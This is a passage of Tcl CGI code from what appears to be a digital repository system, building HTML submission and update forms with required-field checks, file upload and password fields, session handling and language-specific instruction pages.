				([regexp {%@orcid} $fieldName] && [regexp {^(2.1|4)$} $fieldTypeNumber]) || \
				([regexp {%@group} $fieldName] && [regexp {^(2.1|3)$} $fieldTypeNumber]) || \
				([regexp {%@affiliation} $fieldName] && [regexp {2.1} $fieldTypeNumber]) || \
				([regexp {%@electronicmailaddress} $fieldName] && [regexp {2.1} $fieldTypeNumber]))} {
# multiple creator fields
					for {set i 1} {$i <= $numberOfCreatorFields} {incr i} {
						AppendLineList "document.$submissionType.$requiredField$i.value == \"\"" $label2 $i
					}
				} else {
					if {$fieldTypeNumber != 0} {
# puts $requiredField<BR>
# if added by GJFB on 2013-04-27 to allow the use of the string <FONT COLOR=BROWN>(*)</FONT> (meaning required field) even with hidden input
						if [string equal {__documentstage_documentstage} $requiredField] {
							AppendLineList "document.$submissionType.$requiredField.value == \"not transferred\"" $label2	;# added by GJFB on 2016-06-06
						} else {
							if {$update && ![string equal {External Contribution} $repositoryContentType] && [regexp {%@versiontype|%@archivingpolicy} $fieldName]} {	;# added by GJFB on 2017-05-06 - hidden fields cannot be fill out and no required filling warning must be displayed
# update or not External Contribution or (version type or archiving policy field)
# hide the version and archiving policy type field
# do nothing
							} else {
								AppendLineList "document.$submissionType.$requiredField.value == \"\"" $label2
							}
						}
					}
				}
			}
		}

# seconds
		lappend rowList "<INPUT TYPE=HIDDEN NAME=\"seconds\" VALUE=\"[clock seconds]\">"

# Add File Name field
		if [info exists cgi(filename)] {
			set fileName $cgi(filename)
		} else {
			set fileName {}
		}
		regsub -all {//} $fileName {\\} fileName	;# // -> \
# Store fileName C:/tmp/aaa binary 0 a
# puts $cgi(attachment)

		if {[info exists cgi(templaterepository)] && \
		[file isdirectory $homePath/col/$cgi(templaterepository)/doc] && \
		[TestContentType $cgi(templaterepository) {Template} $homePath]} {
# duplicate template
			set Object $Document
			set object ${a document}
			lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"templaterepository\" VALUE=\"$cgi(templaterepository)\">"
		} else {
# >
		if [string equal yes $cgi(attachment)] {
# NAME=foldername
			if {[info exists displayTable($referenceType,foldername)] && \
				[regexp {1} [lindex $displayTable($referenceType,foldername) 0]]} {
#				foreach {translatedCustomizedFieldNameForFolderName translatedFootnoteReferenceForGroup} [Translate %@group group $referenceType] {break}
				lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}\${Folder Name}</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER>${cellFont}[lindex $displayTable($referenceType,foldername) 1]</FONT></TD>
<TD BGCOLOR=#EEEEEE class=formColumn3TextFont><INPUT class=submitInput TYPE=TEXT NAME=\"foldername\" VALUE=\"\" STYLE=\"font-family: Verdana\"></TD>
<TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"
			}
# NAME=userfile
#			set alternativeFieldNameForFileName [lindex $displayTable($referenceType,filename) 3]
			set alternativeFieldNameForFileName [lindex $displayTable($referenceType,filename) 3]
# puts $alternativeFieldNameForFileName
# => File Name<BR>(attach here your file)
			if [info exists translationTable($alternativeFieldNameForFileName,$referenceType,filename)] {
				set alternativeFieldNameForFileName $translationTable($alternativeFieldNameForFileName,$referenceType,filename)
			}
# puts $alternativeFieldNameForFileName
# => Nome do Arquivo<BR>(anexe aqui o seu arquivo) 

			if {[string compare {x} $alternativeFieldNameForFileName] == 0 || \
			[string compare {} $alternativeFieldNameForFileName] == 0} {
				set alternativeFieldNameForFileName ${File Name}	;# defined in mirror/xxSubmit.tcl
			}

			if [regexp {4|5} [lindex $displayTable($referenceType,filename) 0]] {
				lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$alternativeFieldNameForFileName</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER>${cellFont}[lindex $displayTable($referenceType,filename) 1]</FONT></TD>
<TD BGCOLOR=#EEEEEE><FONT FACE=\"Courier New\">&lt;<A HREF=\"http://$localSite/rep-/$repName\" TARGET=\"_blank\">$repName</A>&gt;</FONT></TD>
<TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"
			} else {
				set fillInstruction [subst [lindex $displayTable($referenceType,filename) 1]]	;# subst is to resolve: [expr $update?{}:{<FONT COLOR=BROWN>(*)</FONT>}] (see administrator page script)
				if {[regexp "$requiredFieldSymbol" $fillInstruction] || \
					([info exists requiredFieldAtCloseSymbol] && \
					[regexp "$requiredFieldAtCloseSymbol" $fillInstruction])} {
# required field
					lappend rowList "<INPUT TYPE=HIDDEN NAME=\"userfilefieldname\" VALUE=\"${File Name}\">"
					set fieldName filename	;# used in AppendLineList
					AppendLineList "document.$submissionType.userfile.value == \"\"" userfilefieldname
				}
if 1 {
# puts [info exists targetFileCheckBoxFlagTable($referenceType)]
# display check box for the File Name field
#				if {![string equal {Electronic Source} $referenceType] && $update} #
				if {(![info exists targetFileCheckBoxFlagTable($referenceType)] || $targetFileCheckBoxFlagTable($referenceType)) && $update} {
					set chekBoxCode "<INPUT class=\"checkBox\" id=\"turnattachedfiletargetfile\" NAME=\"turnattachedfiletargetfile\" VALUE=\"yes\" TYPE=\"CHECKBOX\" TITLE=\"${turn the attached file, the target file}\">&nbsp;"
				} else {
					set chekBoxCode {}
				}
				if $update {
					set onChange onChange="EnableDisableTargetFileCheckBox()"
				} else {
					set onChange {}
				}
				lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$alternativeFieldNameForFileName</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER>${cellFont}[lindex $displayTable($referenceType,filename) 1]</FONT></TD>
<TD BGCOLOR=#EEEEEE NOWRAP>$chekBoxCode<INPUT class=browseField $onChange NAME=\"userfile\" TYPE=FILE VALUE=\"$fileName\"></TD>
<TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"
} else {
# testing safari
# with NAME=\"userfile\" safari doesn't work (the next hidden inputs are not sent to the server)
				lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$alternativeFieldNameForFileName</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER>${cellFont}[lindex $displayTable($referenceType,filename) 1]</FONT></TD>
<TD BGCOLOR=#EEEEEE><INPUT class=browseField TYPE=FILE></TD>
<TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"
}
			}
			if {[info exists optionTable2($referenceType,%@documentstage)] && [regexp {Closed Review} $optionTable2($referenceType,%@documentstage)] && \
				[info exists keywords] && [regexp {review} $keywords]} {
				set Object $Review
				set object ${a review}
			} else {
				set Object $Document
				set object ${a document}
			}
		} else {
			if {[info exists optionTable2($referenceType,%@documentstage)] && [regexp {Closed Review} $optionTable2($referenceType,%@documentstage)] && \
				[info exists keywords] && [regexp {review} $keywords]} {
				set Object $Review
				set object ${a review}
			} else {
				if [info exists depositOptionTable($referenceType)] {
					array set depositOptionArray $depositOptionTable($referenceType)
				}
				ConditionalSet copyAbstractToDoc depositOptionArray(copyabstracttodoc) 0
				if $copyAbstractToDoc {
					set Object $Abstract
					set object ${an abstract}
				} else {
					set Object $Reference
					set object ${a reference}
				}
			}
		}
# <
		}
# Add File Name field - end
		
# Migration  25/1/04
		if {[info exists maximumSize] && [info exists fileSizeWarningArray($referenceType)]} {
			set fileSizeWarning $fileSizeWarningArray($referenceType)
		} else {
			set fileSizeWarning {}
		}
# Migration  25/1/04 - end

		if $update {
# update
			if {[string equal {all} $updateOption] && \
				(![info exists userListWithPermissionToFinish($referenceType)] || \
				[lsearch $userListWithPermissionToFinish($referenceType) $advancedUser] != -1)} {
				set finishOptionIndex [expr [llength $updateOptionList] - 1]
				set ifLine "if (document.update.updatetype\\\\\\\\\\\\\\\[$finishOptionIndex\\\\\\\\\\\\\\\].selected) {"	;# } testing the finish option 
				set ifLine2 "if (false) {"	;# } don't ask
			} elseif {[info exists optionTable2($referenceType,%@documentstage)] && [regexp {Closed Review} $optionTable2($referenceType,%@documentstage)] && \
				[regexp {review} $keywords]} {
# is a review
#				set ifLine "if ((document.update.__documentstage_documentstage.value != document.update.username.value) && !(document.update.__documentstage_documentstage.value == \"another advanced user\" && document.update.anotheradvanceduser.value == document.update.username.value)) {"	;# } testing reviewer form
#				set ifLine2 "if ((document.update.__documentstage_documentstage.value == document.update.username.value) || (document.update.__documentstage_documentstage.value == \"another advanced user\" && document.update.anotheradvanceduser.value == document.update.username.value)) {"	;# } testing reviewer form
				set ifLine "if ((document.update.__documentstage_documentstage.value != \"not transferred\") && !(document.update.__documentstage_documentstage.value == \"another advanced user\" && document.update.anotheradvanceduser.value == document.update.username.value)) {"	;# } testing reviewer form
				set ifLine2 "if ((document.update.__documentstage_documentstage.value == \"not transferred\") || (document.update.__documentstage_documentstage.value == \"another advanced user\" && document.update.anotheradvanceduser.value == document.update.username.value)) {"	;# } testing reviewer form
			} else {
				set ifLine "if (false) {"	;# } don't ask
				set ifLine2 "if (false) {"	;# } don't ask
			}
# action
			set action ${Please wait for the update completion.}
		} else {
# submit
# action
			set action ${Please wait for the submission completion.}
		}
		
# sessionTime
# symmetricKey
#		regexp {(.*)-(.*)} [OpenSession $env(REMOTE_ADDR) symmetricKey] m sessionTime symmetricKey
		foreach {sessionTime symmetricKey} [OpenSession [list $env(REMOTE_ADDR) administrator] symmetricKey] {break}
		
# Add username and password fields
		if $update {
# update
# insert username and password
# NAME=username
			lappend rowList "<INPUT NAME=\"username\" TYPE=HIDDEN VALUE=\"$userName\">"
			set additionalRowList {}
			set userNameFieldTypeNumber [subst [lindex $displayTable($referenceType,username) 0]]	;# subst is useful when using metaforms, e.g., when displayTable contains expression like: {[expr $update?{3}:{0}]}
			if {[info exists cgi(session)] && ![string equal {} $cgi(session)]} {
# a session
				lappend rowList "<INPUT NAME=\"session\" TYPE=HIDDEN VALUE=\"$cgi(session)\">"	;# to maintain session
			} else {
# no session
# userNameFieldTypeNumber		
				if $userNameFieldTypeNumber {
# insert username
					lappend rowList "
										<TR>
											<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$conversionTable(username)</FONT></TD>
											<TD BGCOLOR=$cellBgColor ALIGN=CENTER>&nbsp\;</TD>
											<TD BGCOLOR=#EEEEEE class=formColumn3TextFont>&nbsp\;$userName</TD>
											<TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD>
										</TR>
									"
				} else {
# don't insert username
				}
				lappend rowList "<INPUT TYPE=HIDDEN NAME=\"sessiontime\" VALUE=\"$sessionTime\">"	;# added by GJFB on 2019-01-04
				lappend rowList "<INPUT TYPE=HIDDEN NAME=\"publickey\" VALUE=\"$symmetricKey\">"	;# added by GJFB on 2019-01-04
			
# NAME=password1
#				set additionalRowList {}
				set column2Value [lindex $displayTable($referenceType,password1) 1]
				lappend additionalRowList "
					<TR>
						<!-- [expr ![regexp {^([^<\s@]+)@([^@\s>]+)$} $userName]?{<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}${Password}</FONT></TD>}:{<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}${Password} <br> <A HREF=http://$localSite/col/$currentRep/doc/mirror.cgi/NewPassword?languagebutton=$language ONCLICK=\"window.open('', '${display}___newpassword', 'width=560,height=190,scrollbars=yes,menubar=no,resizable=yes,toolbar=no')\" TARGET=\"${display}___newpassword\"><font color=\"green\">${Forgot it?}</font></A></FONT></TD>}] -->
						[expr [string equal {empty} $env(DOMAIN_NAME)] || ![regexp {^([^<\s@]+)@([^@\s>]+)$} $userName]?{<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}${Password}</FONT></TD>}:{<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}${Password} <br> <A HREF=http://$localSite/col/$currentRep/doc/mirror.cgi/NewPassword?languagebutton=$language ONCLICK=\"window.open('', '${display}___newpassword', 'width=560,height=190,scrollbars=yes,menubar=no,resizable=yes,toolbar=no')\" TARGET=\"${display}___newpassword\"><font color=\"green\">${Forgot it?}</font></A></FONT></TD>}]
						<TD BGCOLOR=$cellBgColor ALIGN=CENTER>${cellFont}$column2Value</FONT></TD>
						<TD BGCOLOR=#EEEEEE><INPUT class=passwordField NAME=\"password1\" TYPE=PASSWORD></TD>
						<TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD>
					</TR>
				"
# an additional hidden input is needed because some browsers are not able to update the password field value with the coded password
# (see ProcessKey JavaScript procedure)
				lappend additionalRowList "<INPUT TYPE=HIDDEN NAME=\"codedpassword1\" VALUE=\"\">"
				lappend additionalRowList "<INPUT TYPE=HIDDEN NAME=\"password1fieldname\" VALUE=\"${Password}\">"
				lappend lineList "if (document.update.password1.value == \"\") {fieldNameList += document.update.password1fieldname.value + \"\\\\\\\\\\\\\\\\n\"; i++}"
	
				if [string equal {add} $updateOption] {
# add option
					set index [lindex [array names submissionDestinationTable $referenceType,*] 0]
					if ![string equal {} $index] {
# a submission destination is defined (used when closing some ePrint environments)
						set helpExpression [Help Password2]
						regsub -all {"} $helpExpression {\\"} helpExpression
# NAME=password2
						lappend additionalRowList "
							<TR>
								<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}${Password}</FONT></TD>
								<TD BGCOLOR=$cellBgColor ALIGN=CENTER>${cellFont}$helpExpression</FONT></TD>
								<TD BGCOLOR=#EEEEEE><INPUT class=passwordField NAME=\"password2\" TYPE=PASSWORD></TD>
								<TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD>
							</TR>
						"
						lappend additionalRowList "<INPUT TYPE=HIDDEN NAME=\"codedpassword2\" VALUE=\"\">"
					}
				}
			}
		} else {
# submit
# session
			ConditionalSet session cgi(session) {}
# userName
			ConditionalSet userName cgi(username) {}
# userType
			ConditionalSet userType cgi(usertype) {}
# delayedReturnButton
			ConditionalSet delayedReturnButton cgi(delayedreturnbutton) {}
# userAction
			ConditionalSet userAction cgi(useraction) {}
			if ![string equal {} $session] {
# a session
				lappend rowList "<INPUT NAME=\"username\" TYPE=HIDDEN VALUE=\"$userName\">"
				lappend rowList "<INPUT NAME=\"password1\" TYPE=HIDDEN VALUE=\"$session\">"
				lappend rowList "<INPUT NAME=\"password2\" TYPE=HIDDEN VALUE=\"$session\">"
				lappend rowList "<INPUT NAME=\"codedpassword1\" TYPE=HIDDEN VALUE=\"$session\">"	;# used in submission.js
				lappend rowList "<INPUT NAME=\"codedpassword2\" TYPE=HIDDEN VALUE=\"$session\">"	;# used in submission.js
				set wrongPassword {<INPUT TYPE=HIDDEN NAME="wrongpassword" VALUE="no">}
			} else {
# no session
				if {[info exists displayTable($referenceType,username)] && \
				[lindex $displayTable($referenceType,username) 0]} {
# insert username and password

					lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$conversionTable(username)</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}[lindex $displayTable($referenceType,username) 1]</FONT></TD>
<TD BGCOLOR=#EEEEEE><INPUT class=submitInput NAME=\"username\" TYPE=TEXT VALUE=\"$userName\"></TD>
<TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"
					lappend rowList "<INPUT TYPE=HIDDEN NAME=\"usernamefieldname\" VALUE=\"$conversionTable(username)\">"
					lappend rowList "<INPUT TYPE=HIDDEN NAME=\"sessiontime\" VALUE=\"$sessionTime\">"	;# added by GJFB on 2019-01-04
					lappend rowList "<INPUT TYPE=HIDDEN NAME=\"publickey\" VALUE=\"$symmetricKey\">"	;# added by GJFB on 2019-01-04
					lappend rowList "<INPUT TYPE=HIDDEN NAME=\"passwordloaded\" VALUE=\"\">"	;# added by GJFB on 2019-01-15
					lappend lineList "if (document.submit.username.value == \"\") {fieldNameList += document.submit.usernamefieldname.value + \"\\\\\\\\\\\\\\\\n\"; i++}"
# puts $restrictedSubmission
					set passwordTypeFlag [expr $restrictedSubmission && [info exists authorizedEmailDomains]]	;# added by GJFB on 2020-10-09 - flag value 0 means that the request is for a new password, 1 means the request is for a first password
					if $passwordTypeFlag {
						set passwordHelp ${Don't have or forgot it?}
					} else {
						set passwordHelp ${Forgot it?}
					}
					lappend rowList "<TR>
[expr [string equal {empty} $env(DOMAIN_NAME)] || !$restrictedSubmission?{<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}${Password}</FONT></TD>}:{<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}${Password} <br> <A HREF=http://$localSite/col/$currentRep/doc/mirror.cgi/NewPassword?languagebutton=$language&passwordtypeflag=$passwordTypeFlag ONCLICK=\"window.open('', '${display}___newpassword', 'width=560,height=190,scrollbars=yes,menubar=no,resizable=yes,toolbar=no')\" TARGET=\"${display}___newpassword\"><font color=\"green\">$passwordHelp</font></A></FONT></TD>}]
<TD BGCOLOR=$cellBgColor ALIGN=CENTER>${cellFont}[lindex $displayTable($referenceType,password1) 1]</FONT></TD>
<TD BGCOLOR=#EEEEEE><INPUT class=passwordField NAME=\"password1\" TYPE=PASSWORD></TD>
<TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"
# an additional hidden input is needed because some browsers are not able to update the password field value with the coded password
# (see ProcessKey JavaScript procedure)
					lappend rowList "<INPUT TYPE=HIDDEN NAME=\"codedpassword1\" VALUE=\"\">"
					lappend rowList "<INPUT TYPE=HIDDEN NAME=\"password1fieldname\" VALUE=\"${Password}\">"
					lappend lineList "if (document.submit.password1.value == \"\") {fieldNameList += document.submit.password1fieldname.value + \"\\\\\\\\\\\\\\\\n\"; i++}"
# puts --$restrictedSubmission--
					if {$restrictedSubmission || \
					([info exists submissionPolicyTable($referenceType)] && $submissionPolicyTable($referenceType) == 1)} {
## Migration 25/1/04
#						set password2Warning {}
## Migration 25/1/04 - end
					} else {
#						lappend rowList "<INPUT TYPE=HIDDEN NAME=\"password2fieldname\" VALUE=\"${Password}\">"
#						lappend lineList "if (document.submit.password2.value == \"\") {fieldNameList += document.submit.password2fieldname.value + \"\\\\\\\\\\\\\\\\n\"; i++}"
						lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}${Password}</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER>${cellFont}[lindex $displayTable($referenceType,password2) 1]</FONT></TD>
<TD BGCOLOR=#EEEEEE><INPUT class=passwordField NAME=\"password2\" TYPE=PASSWORD></TD>
<TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"
						lappend rowList "<INPUT TYPE=HIDDEN NAME=\"codedpassword2\" VALUE=\"\">"
## Migration 25/1/04
#						if ![info exists submissionPassword2WarningArray($referenceType)] {
#							set submissionPassword2WarningArray($referenceType) {}
#						}
#						set password2Warning [subst $submissionPassword2WarningArray($referenceType)]
## Migration 25/1/04 - end
					}
# Migration 25/1/04
					if [info exists submissionPasswordWarningArray($referenceType)] {
						set passwordWarning [subst $submissionPasswordWarningArray($referenceType)]
					}
# Migration 25/1/04 - end
					set wrongPassword {<INPUT TYPE=HIDDEN NAME="wrongpassword" VALUE="no">}
				} else {
# don't insert username and password
					set passwordWarning {}
					set wrongPassword {}
					if ![string equal {} [lindex $displayTable($referenceType,username) 2]] {
						lappend rowList "<INPUT TYPE=HIDDEN NAME=\"username\" VALUE=\"[lindex $displayTable($referenceType,username) 2]\">"
					}
				}
			}
		}
# Add username and password fields - end

# Set noAccessRestrictionFlag
		if $update {
			SetFieldValue $serverAddressWithIP $metadataRep-0 {readpermission}
			set noAccessRestrictionFlag [ComputeAccessRestrictionFlag $readpermission $env(REMOTE_ADDR)]
		}
# Set noAccessRestrictionFlag - end

# Load htmlContent
		if $update {
# update
			if [file exists ../$col/$submissionFormLanguageRep/doc/${submissionFormLanguage}UpdateSubmission.html] {
				set filePath $submissionFormLanguageRep/doc/${submissionFormLanguage}UpdateSubmission.html
			} else {
				if [file exists ../$col/$languageRep1/doc/${language}UpdateSubmission.html] {
					set filePath $languageRep1/doc/${language}UpdateSubmission.html
				} else {
					set filePath $languageRep2/doc/${language}UpdateSubmission.html
				}
			}
# puts $filePath
			Load ../$col/$filePath htmlContent

			if [info exists updatePasswordWarningArray($referenceType)] {
				set passwordWarning [subst $updatePasswordWarningArray($referenceType)]
			}
## Migration 25/1/04
#			set password2Warning {}
## Migration 25/1/04 - end

## displayControl.tcl after 31/1/04 doesn't use the variable below
#			set requiredFileName {}
## displayControl.tcl after 31/1/04 doesn't use the variable below - end

			set additionalRowList [join $additionalRowList \n]
			set additionalRowList2 {}
			foreach line [split $additionalRowList \n] {
				regsub -all {"} $line {\\\\\\\\"} line
				lappend additionalRowList2 \"$line\"
			}
			set additionalRowList [join $additionalRowList2 ,\n]
			if ![string equal {} $additionalRowList] { set additionalRowList $additionalRowList,}	;# add trailing comma for JavaScript below
# javaScript
			if $userNameFieldTypeNumber {
# insert password
				set ifConditionForJavaScript {(codedPassword1 == null)}
			} else {
# don't insert password
				set ifConditionForJavaScript {(0)}
			}
			set javaScript "
				<SCRIPT LANGUAGE=JavaScript>
					var codedPassword1 = LoadString(\"$userName\")
					if $ifConditionForJavaScript {
						document.write (
							$additionalRowList
							\"<INPUT NAME=passwordloaded TYPE=HIDDEN VALUE=no>\"
						)
					} else {
						document.write (
							\"<INPUT NAME=codedpassword1 TYPE=HIDDEN VALUE=\" + codedPassword1 + \">\",
							\"<INPUT NAME=password1 TYPE=HIDDEN VALUE=couldbeanything>\",
							\"<INPUT NAME=passwordloaded TYPE=HIDDEN VALUE=yes>\"
						)
					}
				</SCRIPT>
			"
# Used by JavaScript
#			if ![info exists cgi(wrongpassword)] {set cgi(wrongpassword) {no}}
			set cgi(wrongpassword) {no}
# Used by JavaScript - end
		} else {
# submit
			if [file exists ../$col/$submissionFormLanguageRep/doc/${submissionFormLanguage}Submit.html] {
				set filePath $submissionFormLanguageRep/doc/${submissionFormLanguage}Submit.html
			} else {
				if [file exists ../$col/$languageRep1/doc/${language}Submit.html] {
					set filePath $languageRep1/doc/${language}Submit.html
				} else {
					set filePath $languageRep2/doc/${language}Submit.html
				}
			}
# puts $filePath
			Load ../$col/$filePath htmlContent
if 0 {
# old code			
# Migration 25/1/04
			set fileNameWarningArray($referenceType) {}
# Migration 25/1/04 - end
# displayControl.tcl after 31/1/04 doesn't use the variable below
			set requiredFileName $requiredFieldFootnoteTable($referenceType)
			set requiredUserName $requiredFieldFootnoteTable($referenceType)
# displayControl.tcl after 31/1/04 doesn't use the variable below - end
			set fileNameWarning {}
}
		}
# Load htmlContent - end
		
# Site warning
		if [info exists cgi(showformsite)] {
# cgi(showformsite) value may be anything
			global "${languageRep2}::to the site <FONT FACE=\"Courier New\">&lt;\$localSite&gt;</FONT>"
			set siteWarning "\${to the site <FONT FACE=\"Courier New\">&lt;\$localSite&gt;</FONT>}"
		} else {
			Load ../$col/$currentRep/doc/@siteList.txt fileContent
			set fileContent [string trim $fileContent " \n"]
			regsub -all "\n+" $fileContent "\n" fileContent
			set siteList [split $fileContent \n]
			set numberOfSites2 [llength $siteList]
			if {$numberOfSites2 == 0} {
				set siteWarning ""
			} else {
				global "${languageRep2}::to the site <FONT FACE=\"Courier New\">&lt;\$localSite&gt;</FONT>"
				set siteWarning "\${to the site <FONT FACE=\"Courier New\">&lt;\$localSite&gt;</FONT>}"
			}
		}
# Site warning - end

# Additional instructions
# set in xxFillingInstructions.tcl
		ConditionalSet additionalInstructions additionalInstructionsArray($referenceType) {}
# Additional instructions - end

# ifListCreation
		set ifListCreation [join $lineList \n]
# ifOrcidListCreation
		set ifOrcidListCreation [join $orcidLineList \n]
# ifElectronicMailAddressListCreation
		set ifElectronicMailAddressListCreation [join $electronicMailAddressLineList \n]

# displayControl.tcl after 31/1/04 doesn't use the variable below
		set requiredPassword $requiredFieldFootnoteTable($referenceType)
# displayControl.tcl after 31/1/04 doesn't use the variable below - end

		if ![info exists copyrightArray($referenceType)] {set copyrightArray($referenceType) {}}
		ConditionalSet submissionPeriod submissionPeriodArray($referenceType) {}
		if ![info exists submitHeaderArray($referenceType)] {set submitHeaderArray($referenceType) {}}
		if ![info exists submitFooterArray($referenceType)] {set submitFooterArray($referenceType) {}}


#		if [info exists documentStage] {
#			lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"__documentstage_documentstage\" VALUE=\"$documentStage\">"
#		}

		set hiddenInput [join $hiddenInputList \n]

		set rowListSize [llength $rowList]
		
		set rowList [join $rowList \n]
# puts $rowList
#		regsub -all {\\} $rowList {\\\\\\\\} rowList	;# \ -> \\
# puts $htmlContent
		set htmlContent [ProcessBrackets $htmlContent]

		if [string equal {yes} $cgi(frameinuse)] {
			set popupWarning ${popup warning}
		} else {
			set popupWarning {}
		}
# puts $htmlContent		
# catch {subst [subst $htmlContent]} output
# catch {subst [subst [subst $htmlContent]]} output
# catch {SetFont [subst [subst [subst [subst $htmlContent]]]]} output
#		set output $htmlContent
#		set output [subst $htmlContent]
#		set rowList [ProcessBrackets $rowList]	;# rowList appears in subst $htmlContent and may contain square brackets that must be coded (for example in affiliation) - added by GJFB on 2011-11-28 - doesn't work here because of, e.g., [Help Keywords]
#		set output [subst [subst $htmlContent]]
#		set output [subst [subst [subst $htmlContent]]]
#		set output [subst [subst [subst [subst $htmlContent]]]]
# puts --$displayTable(Report,%@contenttype)--
# => --3 {} {} {}--
if 1 {
		set returnInfo [ProcessBrackets $returnInfo]	;# returnInfo may be used in htmlContent and may contain square brackets that must be coded - added by GJFB on 2011-09-09
		set output [SetFont [subst [subst [subst [subst $htmlContent]]]]]
		set output [UnProcessBrackets $output]
}
# puts [array get cgi]
# puts [pwd]
	}
	^FillingInstructions$ {
# cgi inputs used by FillingInstructions:
# repository (used by instructions/xxUpdateInstructions.html)
# puts [array get cgi]

		source ../$col/$languageRep2/doc/mirror/${submissionFormLanguage}Submit.tcl

		global "${languageRep2}::headerWarning"
		global "${languageRep2}::zipFileWarning"
		global "${languageRep2}::fileNameWarning"
		
# referenceType
		ConditionalSet referenceType cgi(referencetype) {Misc}
# instructionType
		set instructionType $cgi(instructiontype)
# advancedUser
		ConditionalSet advancedUser cgi(advanceduser) {}	;# advanceduser is used only with the instruction for choosing the update type
# updateOption
		ConditionalSet updateOption cgi(updateoption) {}
# submitButtonFlag
		ConditionalSet submitButtonFlag cgi(submitbuttonflag) {}
# buttonName
		ConditionalSet buttonName cgi(buttonname) {}
# buttonName1
		ConditionalSet buttonName1 cgi(buttonname1) {}
# buttonName2
		ConditionalSet buttonName2 cgi(buttonname2) {}
# fieldType
#		set fieldType $cgi(fieldtype)	;# comented by GJFB on 2023-07-04 - produce the error: 'CreateMirror (5): can't read "cgi(fieldtype)": no such element in array' when pressing '?' in between the update type menu and the Save/Check button 
		ConditionalSet fieldType cgi(fieldtype) {}	;# added by GJFB on 2023-07-04
		
# repPath
		if {![string equal $languageRep1 $submissionFormLanguageRep] && \
		[file exists ../$col/$submissionFormLanguageRep/doc/instructions/$language${instructionType}Instructions.html]} {
# puts {use the submission form language repository}
			set repPath ../$col/$submissionFormLanguageRep
		} elseif [file exists ../$col/$languageRep1/doc/instructions/$language${instructionType}Instructions.html] {
# puts {use the default or customized (if any) language repository}
			set repPath ../$col/$languageRep1
		} else {
# puts {use the default language repository}
			set repPath ../$col/$languageRep2
		}

# Source displayControl.tcl
		set enableOutput 0
		eval $sourceDisplayControl
# Source displayControl.tcl - end

# puts $referenceType
# puts [lindex $displayTable($referenceType,%K) 0]

		if [info exists repPath] {
			set filePath $repPath/doc/instructions/$language${instructionType}Instructions.html
# puts $filePath
# puts [file exists $filePath]
			Load $filePath fileContent
			if ![string equal {Search} $instructionType] {
# maximumFileSize
				set maximumFileSize $maximumFileSizeTable($referenceType)
# contentTypeList
				set contentTypeList [join $contentTypeTable($referenceType) <BR>]
				if ![regexp {application/x-zip-compressed|application/zip} $contentTypeTable($referenceType)] {
# drop the zip file warning
					set zipFileWarning {}
				}
				if ![string equal {Electronic Source} $referenceType] {
# not an ePrint
# drop the header warning (saying: The submitted file must have the center part of the header empty.)
					set headerWarning {}
				}
			}
# SUBST
# fieldName
# targetFile
			if [string equal {Update} $instructionType] {
				LoadService $cgi(repository) targetFile targetFile 0 1	;# 0 is for uncrypted - 1 is for level 1
			}

# fileNameWarning content is {Filling this field is optional since you might want to update just the metadata.} (see mirror/xxSubmit.tcl)
			if [string equal {update} $cgi(submissiontype)] {
# update
				set requiredFieldSymbol $requiredFieldFootnoteTable($referenceType)	;# e.g., (*)
				regsub -all {(\*|\+)} $requiredFieldSymbol {\\\1} requiredFieldSymbol	;# requiredFieldSymbol is used in regular expression
	 			if [regexp "$requiredFieldSymbol" [lindex $displayTable($referenceType,filename) 1]] {
# required field - drop warning
					set fileNameWarning {}
				}
			} else {
# submit			
# required field - drop warning
				set fileNameWarning {}
			}

			ConditionalSet fieldName cgi(fieldname) {}
			set output [subst $fileContent]
		} else {
			set output {there are no instructions}
		}
	}
	^NewPassword$ {
		source ../$col/$languageRep2/doc/mirror/${language}Register.tcl	;# needed for Cancel
		global "${languageRep2}::Cancel"
		global "${languageRep2}::site"
		if [file exists ../$col/$languageRep1/doc/${language}NewPassword.html] {
			set languageRep $languageRep1
		} else {
			set languageRep $languageRep2
		}
# Source displayControl.tcl
		set enableOutput 0
		eval $sourceDisplayControl	;# set archiveAcronym, restrictedSubmission and authorizedEmailDomains
# Source displayControl.tcl - end

